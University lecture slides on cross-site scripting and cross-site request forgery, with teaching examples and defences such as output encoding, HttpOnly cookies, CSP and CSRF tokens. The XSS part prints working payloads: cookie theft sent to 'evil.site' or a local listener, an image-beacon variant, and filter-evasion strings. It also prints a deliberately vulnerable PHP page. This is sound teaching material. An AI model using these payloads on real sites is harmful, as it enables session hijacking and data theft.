Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)

Security 1 2018-19

Università Ca' Foscari Venezia
www.dais.unive.it/~focardi
secgroup.dais.unive.it

Università
Ca'Foscari
Venezia

Cross-Site Scripting (XSS)

In a Cross-Site Scripting (XSS), an attacker **injects malicious code** into web applications so to:

- **leak** sensitive information (bypass SOP)
- **control** the application
- **hijack** the session

XSS bypasses the Same Origin Policy (SOP):

⇒ the injected code can directly access **any information** (including session cookies) of the vulnerable page

XSS impact

XSS is one of the **top vulnerabilities** on the web

- Prevention is **tricky** (as we will see)
- Consequences are critical

In 2007, an estimate of **68% vulnerable sites** by Symantec

In 2017 still reported as **one of the most common vulnerabilities** by HackerOne

XSS types

There are three well known types of XSS vulnerabilities

- **Reflected**
- **Stored**
- **DOM-based**

The differ in the way malicious code is injected and whether it is persistent or not

Reflected XSS

Assumption: the web page incorporates the input sent to the server as part of the request

⇒ Malicious code is ***"reflected"*** into the page

A possible scenario follows:

1. A **malicious page** with a link to the victim application (or link sent by email, i.e., *phishing*)
2. User **clicks** the link
3. Victim application incorporates the **injected script**
4. The script **leaks** user's sensitive data (bypass SOP!)

A simple example

The following example prints the GET parameters in a welcome message:

Disable a mitigation mechanism
We will discuss this later on

```
<html>
  <body>
<?php
    header("X-XSS-Protection: 0");
    session_name("SESSID1");
    session_start();
    echo "Welcome, " . $_GET['name'] . $_GET['surname'];
?>
  </body>
</html>
```

Proof-of-concept XSS

An attacker can inject **arbitrary Javascript code**:

```
https://xss.seclab.dsi.unive.it/greet.php?name=
<script>alert("Hi there")</script>
```

(Use haxor / xssleet to access the vulnerable website)

The resulting page will be:

```
<html>
  <body>
Welcome, <script>alert("Hi there")</script>
  </body>
</html>
```

Leaking session cookies

Session **cookies** are accessible from Javascript:

```
https://xss.seclab.dsi.unive.it/greet.php?name=
<script>alert(document.cookie);</script>
```

Cookies can be **leaked cross-origin** (bypass SOP):

```
https://xss.seclab.dsi.unive.it/greet.php?name=
<script>location.href='http://evil.site/steal.php?
cookie='%2bescape(document.cookie);</script>
```

NOTE: suspicious links can be **obfuscated**, e.g. by using a URL shortener service: https://tinyurl.com/y77aecva

Simulating the attack

```
$ python3 -mhttp.server 8001
Serving HTTP on 0.0.0.0 port 8001 ...
```

We create an empty index.html and we access:

```
https://xss.seclab.dsi.unive.it/greet.php?name=
<script>location.href='http://localhost:8001/index
.html?cookie='%2bescape(document.cookie);</script>
```

On the server terminal we observe the **leaked cookie**:

```
127.0.0.1 - - [11/Dec/2017 22:11:22] "GET
/index.html?cookie=SESSID1%3D5fg6tdi39t8ag151117qk
puu51 HTTP/1.1" 200 -
```

A stealthier attack

Redirection of previous attack will be **noticed** by the user

⇒ the attack can be made **stealthier** by performing the get request in the background

```
https://xss.seclab.dsi.unive.it/greet.php?name=r1x
<script>var i=new Image; i.src="http://localhost:8
001/"%2Bdocument.cookie;</script>
```

NOTE: the image does not exists but the error is **not visible** to the user

Stored XSS

The injected script is **permanently stored** on the target servers (e.g., as a message in a discussion board)

A typical scenario is the following:

1. Attacker **stores** a malicious script in victim application
2. User visit the victim page and **executes** the script
3. The script runs in the context of the victim application and **leaks** user's sensitive data

Case study: Samy

DOM-based XSS

Similar to reflected XSS but the attack payload is **not added** in the page **server-side**

The injection occurs client-side, due to existing scripts

A typical scenario is the following:

1. A **malicious** page with a link to the victim application (or link sent by email, i.e., *phishing*)
2. User **clicks** the link, containing malicious parameters
3. The victim application **returns a non-infected page**
4. An existing script processes the parameters and, as a side effect, **incorporates the malicious code**

DOM-based XSS example

```
Select your language:

<select><script>

document.write("<OPTION value=1>"+decodeURI(
   document.location.href.substring(
      document.location.href.indexOf("default=")+8
   ))
   +"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");

</script></select>
```

DOM-based XSS example

The two following URLs show a **honest** and a **malicious** request:

```
http://www.some.site/page.html?default=French

http://www.some.site/page.html?default=<script>
alert(document.cookie)</script>
```

Notice that this simple XSS is blocked by the XSS Auditor (see below)

Filter evasion

Isn't it enough to filter out `<script>`?

No! Example: inline Javascript:

- `<body onload=alert('xss')>`
- `<a onmouseover=alert('xss')>Free iPhone</a>`
- `<img src="http://this.domain.does.not.exi.st/noimage.png" onerror=alert('xss');>`

See the [OWASP XSS Filter Evasion Cheat Sheet]()

XSS Prevention

Input validation: allow only **what is expected**

- proper **length**, restricted **characters**, matching **regexp**
- use **whitelists** when possible

Output validation:

- **encode** html characters (PHP `htmlspecialchars` or `htmlentities`)
- avoid particularly **dangerous insertion points** (for example inserting input directly inside a script tag).

See the the OWASP XSS Prevention Cheat Sheet

XSS Mitigations

- **`HttpOnly` cookies** cannot be read by scripts (protect **session cookies** from XSS)
- **XSS Auditor**: code in the webpage that also appears in the request is blocked (mitigate **reflected** XSS)

  Bypassed in
  ```
  https://xss.seclab.dsi.unive.it/greet_filter.php?name=<script>alert("hi t&surname=here");</script>
  ```
- **Content Security Policy (CSP)**: specify the **trusted domains** for scripts; inline scripts can be disabled

  NOTE: needs to be configured/enabled server side

Cross-Site Request Forgery (CSRF)

The attacker forges **malicious requests** for a web application in which the user is currently **authenticated**

Intuition: the malicious requests are **routed** to the vulnerable web application **through the victim's browser**

Note: websites cannot distinguish if the requests coming from authenticated users have been originated by an explicit user interaction or not

CSRF typical scenario

1. User logs into the **honest**, victim site
2. User browses attacker's **malicious** site
3. Attacker's site contains a **cross-site request** towards the victim site
4. The browser will **include cookies** so that the request will be **authenticated** as if it were originated from the victim site

Note: SOP allows this attack as it only drops responses to cross-origin requests

CSRF Prevention

We discuss various techniques to **prevent** CSRF attacks

- CSRF token
- `Origin` and `Referer` standard headers
- Custom headers
- User interaction

CSRF token

A **random value** that is associated with the user's session and regenerated at each request (to mitigate leaks)

The random token is **included in each form** involving sensitive operations

When the form is submitted the token is **compared** against the one of the current session
⇒ server-side operation is **allowed** only if they match

Exercise

1. **find** a CSRF token in one of the forms of the dctf application
2. observe what happens to the token when the form is **reloaded** (think of the consequences for security)
3. **modify the token** using the browser inspector and submit the form to observe the behaviour of the application

Stateless CSRF token

The CSRF token can be saved in a **browser cookie**

Verification now proceeds as follows:

1. User sends the form that contains the **CSRF token**
2. The **cookie** containing a copy of the token is attached
3. The server checks if they **match**

Standard headers: `Origin`

Two **standard headers** can be used to detect CSRF: `Origin` and `Referer`

The `Origin` header has been specifically introduced to prevent CSRF: it only contains the **origin** and does not leak sensitive data, e.g., parameters in GET requests

When Origin is present, it is enough to check that the value **matches** the one of the target origin

Standard headers: `Referer`

`Origin` header is not present in all requests (behaviour is browser-dependent). In that cases it is possible to **check the `Referer`**

Note: the `Referer` is **stripped** in some cases for preventing data leakage

If **both missing**? rejecting could break the application

⇒ pair standard header check with at least another anti-CSRF mechanism.

Custom headers

For **AJAX** requests, check the presence of header `X-Requested-With` with value `XMLHttpRequest`

A restricted number of headers can be set in cross origin requests and `X-Requested-With` is **NOT** one of them

⇒ It is enough to check its **presence** to prevent CSRF

NOTE: this does not work for non-AJAX requests.

Example: AJAX

Same origin:

```
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://secgroup.dais.unive.it");
xmlHttp.setRequestHeader('X-Requested-With','XMLHttpRequest');
xmlHttp.send( null );
```

Cross origin:

```
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "https://www.google.it");
xmlHttp.setRequestHeader('X-Requested-With','XMLHttpRequest');
xmlHttp.send( null );
(index):1 Failed to load https://www.google.it/: ....
```

User interaction

For **highly critical operations** (e.g. bank transfers) it is usually a good idea to require an <u>explicit user interaction</u>

- **re-authenticate**
- **OTP** (One-Time Password)
- **extra input** (e.g. CAPTCHA)

IDEA: the user double checks the request and insert the (**unpredictable**) requested value to confirm

If the value cannot be predicted by the attacker **then** the confirmation **cannot be subject to another CSRF**!

References

[1] The OWASP CSRF Prevention Cheat Sheet

[2] Adam Barth, Collin Jackson, John C. Mitchell. Robust Defenses for Cross-Site Request Forgery. In ACM CCS'08

[3] Stefano Calzavara, Riccardo Focardi, Marco Squarcina, Mauro Tempesta: Surviving the Web: A Journey into Web Session Security. ACM Comput. Surv. 50(1): 13:1-13:34 (2017)